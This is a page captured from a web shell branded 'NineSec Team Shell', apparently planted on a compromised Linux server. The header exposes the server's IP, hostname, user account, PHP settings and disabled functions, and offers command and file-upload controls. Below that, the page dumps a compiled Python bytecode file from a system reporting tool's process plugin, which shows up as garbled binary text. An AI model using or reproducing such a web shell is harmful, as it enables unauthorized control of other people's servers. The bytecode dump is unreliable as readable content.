NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/process.cpython-36.pyc
3

~�g*�@s:ddlZddlZddlmZmZmZGdd�dee�ZdS)�N)�Plugin�IndependentPlugin�	PluginOptc
@sleZdZdZdZdZedddd�edd	d
d�edd	dd�ed
dedd�eddedd�gZdd�Z	dd�Z
dS)�Processzprocess informationZprocess�system�lsofTzcollect info on all open files)�default�desczlsof-threadsFz,collect threads' open file info if supported�smapszcollect /proc/*/smaps files�samples�z"number of iotop samples to collect)rZval_typer	�numprocsiz*number of process to collect /proc data ofc	Cs�d}d}d}|d7}|jddddd	g�d
d�|jd�D�}|jd
�rX|d|jd
��}xH|D]@}|jd|�d�d|�d�d|�d�d|�d�d|�d�g�q^W|jd�r�|jd�|jdddddddgdd�|jdd d!�|jd"�r�|jd#d"d$d%d"d&�|jd'��r|jd(d$d%d)�|jd*d+d,gd-d.�|j|�d/|��|�d/|��g�|jd0��rv|jd1|jd0���d2d3�|jd4d5g�dS)6Nzps axoz3pid,ppid,user,group,lwp,nlwp,start_time,comm,cgroupz3flags,state,uid,pid,ppid,pgid,sid,cls,pri,psr,addr,zsz,wchan:20,lstart,tty,time,cmdz/proc/sched_debugz
/proc/statz/sys/kernel/debug/sched/debugz /sys/kernel/debug/sched/featuresz/sys/kernel/sched_ext/cSsg|]}tjd|�r|�qS)z[0-9])�re�match)�.0�p�r�/usr/lib/python3.6/process.py�
<listcomp>0sz!Process.setup.<locals>.<listcomp>z/procr
z/proc/z/statusz/cpusetz/oom_*z/stackz/limitsr
z/proc/[0-9]*/smapsz
ps auxwwwmZpsZps_auxZps_auxwwZ	ps_auxwwwZ
ps_auxwwwmZ	ps_auxcww�)�root_symlink�tags�priorityz
pstree -lpZpstree)rrzlsof +M -n -l -c ''��2)r�timeoutrrzlsof-threadsz
lsof +M -n -l)rrz	ps alxwwwz
ps auxfwwwzps -elfLT)Z
cmd_as_tag� rziotop -b -o -d 0.5 -t -n �d)rz#pidstat -p ALL -rudvwsRU --human -hzpidstat -tl)Z
add_copy_spec�listdirZ
get_optionZadd_cmd_output)�selfZps_axoZ
ps_group_optsZ
ps_sched_optsZprocs�procrrr�setup!s\








z
Process.setupcCs�|jd���}|jjjs$|jd�dS|jd�}i}i}|ddksZ|jd|d���dSxh|dj�D]X}|j�j�}|d}|d}|j	|�s�qh||kr�|jjj
|�||<|||d	�||<qhW|jtj|dd
��WdQRXdS)Nzpids_to_packages.jsonz/Package manager not configured for path querieszps --no-headers aexZstatusrzUnable to get process list: �output�)�path�package)�indent)
Zcollection_fileZpolicyZpackage_managerZquery_path_command�writeZexec_cmd�
splitlines�strip�splitZpath_existsZpkg_by_path�json�dumps)rZpfileZ_psZpidpkg�pathsr �pidr$rrr�collectbs(



zProcess.collectN)r)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesr�intZoption_listr!r/rrrrrs
Ar)r+rZsos.report.pluginsrrrrrrrr�<module>	s

NineSec Team - 2022